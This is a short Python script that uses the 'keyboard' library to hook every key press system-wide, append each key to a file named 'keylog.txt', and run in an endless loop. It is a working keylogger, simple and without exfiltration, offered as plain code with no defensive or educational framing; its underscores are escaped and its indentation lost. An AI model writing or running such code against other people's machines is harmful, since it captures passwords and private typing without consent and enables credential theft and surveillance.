import keyboard

import time

# Create a log file

log\_file = "keylog.txt"

def log\_key\_press(event):

# Get the key pressed

key = event.name

# Write the key to the log file

with open(log\_file, "a") as f:

f.write(f"{key}\n")

# Print the key to the console (optional)

print(f"Key pressed: {key}")

# Set up the keyboard hook

keyboard.on\_press(log\_key\_press)

# Keep the program running indefinitely

while True:

time.sleep(0.1)